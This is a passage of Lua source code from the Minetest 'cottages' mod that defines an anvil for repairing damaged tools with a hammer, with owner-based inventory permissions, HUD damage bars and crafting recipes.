local meta = minetest.get_meta(pos);
meta:set_string("owner", placer:get_player_name() or "");
meta:set_string("infotext", S("Anvil (owned by %s)"):format((meta:get_string("owner") or "")));
meta:set_string("formspec",
cottages_anvil_formspec,
"label[2.5,-0.5;"..S("Owner: %s"):format(meta:get_string('owner') or "").."]");
end,
can_dig = function(pos,player)
local meta = minetest.get_meta(pos);
local inv = meta:get_inventory();
local owner = meta:get_string('owner');
if( not( inv:is_empty("input"))
-- or not( inv:is_empty("material"))
-- or not( inv:is_empty("sample"))
or not( inv:is_empty("hammer"))
or not( player )
or ( owner and owner ~= '' and player:get_player_name() ~= owner )) then
return false;
end
return true;
end,
allow_metadata_inventory_move = function(pos, from_list, from_index, to_list, to_index, count, player)
local meta = minetest.get_meta(pos)
if( player and player:get_player_name() ~= meta:get_string('owner' ) and from_list~="input") then
return 0
end
return count;
end,
allow_metadata_inventory_put = function(pos, listname, index, stack, player)
local meta = minetest.get_meta(pos)
if( player and player:get_player_name() ~= meta:get_string('owner' ) and listname~="input") then
return 0;
end
if( listname=='hammer' and stack and stack:get_name() ~= 'cottages:hammer') then
return 0;
end
if( listname=='input'
and( stack:get_wear() == 0
or stack:get_name() == "technic:water_can"
or stack:get_name() == "technic:lava_can" )) then
minetest.chat_send_player( player:get_player_name(),
S('The workpiece slot is for damaged tools only.'));
return 0;
end
return stack:get_count()
end,
allow_metadata_inventory_take = function(pos, listname, index, stack, player)
local meta = minetest.get_meta(pos)
if( player and player:get_player_name() ~= meta:get_string('owner' ) and listname~="input") then
return 0
end
return stack:get_count()
end,
on_punch = function(pos, node, puncher)
if( not( pos ) or not( node ) or not( puncher )) then
return;
end
-- only punching with the hammer is supposed to work
local wielded = puncher:get_wielded_item();
if( not( wielded ) or not( wielded:get_name() ) or wielded:get_name() ~= 'cottages:hammer') then
return;
end
local name = puncher:get_player_name();
local meta = minetest.get_meta(pos);
local inv = meta:get_inventory();
local input = inv:get_stack('input',1);
-- only tools can be repaired
if( not( input )
or input:is_empty()
or input:get_name() == "technic:water_can"
or input:get_name() == "technic:lava_can" ) then
meta:set_string("formspec",
cottages_anvil_formspec,
"label[2.5,-0.5;"..S("Owner: %s"):format(meta:get_string('owner') or "").."]");
return;
end
-- 65535 is max damage
local damage_state = 40-math.floor(input:get_wear()/1638);
local tool_name = input:get_name();
local hud_image = "";
if( tool_name
and minetest.registered_items[ tool_name ] ) then
if( minetest.registered_items[ tool_name ].inventory_image ) then
hud_image = minetest.registered_items[ tool_name ].inventory_image;
elseif( minetest.registered_items[ tool_name ].textures
and type(minetest.registered_items[ tool_name ].textures)=='table') then
hud_image = minetest.registered_items[ tool_name ].textures[1];
elseif( minetest.registered_items[ tool_name ].textures
and type(minetest.registered_items[ tool_name ].textures)=='string') then
hud_image = minetest.registered_items[ tool_name ].textures;
end
end
local hud1 = puncher:hud_add({
hud_elem_type = "image",
scale = {x = 15, y = 15},
text = hud_image,
position = {x = 0.5, y = 0.5},
alignment = {x = 0, y = 0}
});
local hud2 = nil;
local hud3 = nil;
if( input:get_wear()>0 ) then
hud2 = puncher:hud_add({
hud_elem_type = "statbar",
text = "default_cloud.png^[colorize:#ff0000:256",
number = 40,
direction = 0, -- left to right
position = {x=0.5, y=0.65},
alignment = {x = 0, y = 0},
offset = {x = -320, y = 0},
size = {x=32, y=32},
})
hud3 = puncher:hud_add({
hud_elem_type = "statbar",
text = "default_cloud.png^[colorize:#00ff00:256",
number = damage_state,
direction = 0, -- left to right
position = {x=0.5, y=0.65},
alignment = {x = 0, y = 0},
offset = {x = -320, y = 0},
size = {x=32, y=32},
});
end
minetest.after(2, function()
if( puncher ) then
puncher:hud_remove(hud1);
puncher:hud_remove(hud2);
puncher:hud_remove(hud3);
end
end)
-- tell the player when the job is done
if( input:get_wear() == 0 ) then
-- minetest.chat_send_player( puncher:get_player_name(),
-- S('Your tool has been repaired successfully.'));
return;
end
-- do the actual repair
input:add_wear( -5000 ); -- equals to what technic toolshop does in 5 seconds
inv:set_stack("input", 1, input)
-- damage the hammer slightly
wielded:add_wear( 100 );
puncher:set_wielded_item( wielded );
-- do not spam too much
-- if( math.random( 1,5 )==1 ) then
-- minetest.chat_send_player( puncher:get_player_name(),
-- S('Your workpiece improves.'));
-- end
end,
is_ground_content = false,
})
---------------------------------------------------------------------------------------
-- crafting receipes
---------------------------------------------------------------------------------------
minetest.register_craft({
output = "cottages:anvil",
recipe = {
{cottages.craftitem_steel,cottages.craftitem_steel,cottages.craftitem_steel},
{'', cottages.craftitem_steel,'' },
{cottages.craftitem_steel,cottages.craftitem_steel,cottages.craftitem_steel} },
})
-- the castle-mod has an anvil as well - with the same receipe. convert the two into each other
if ( minetest.get_modpath("castle") ~= nil ) then
minetest.register_craft({
output = "cottages:anvil",
recipe = {
{'castle:anvil'},
},
})
minetest.register_craft({
output = "castle:anvil",
recipe = {
{'cottages:anvil'},
},
})
end
minetest.register_craft({
output = "cottages:hammer",
recipe = {
{cottages.craftitem_steel,cottages.craftitem_steel,cottages.craftitem_steel},
{cottages.craftitem_steel,cottages.craftitem_steel,cottages.craftitem_steel},
{'', cottages.craftitem_stick, '' } }
})
|
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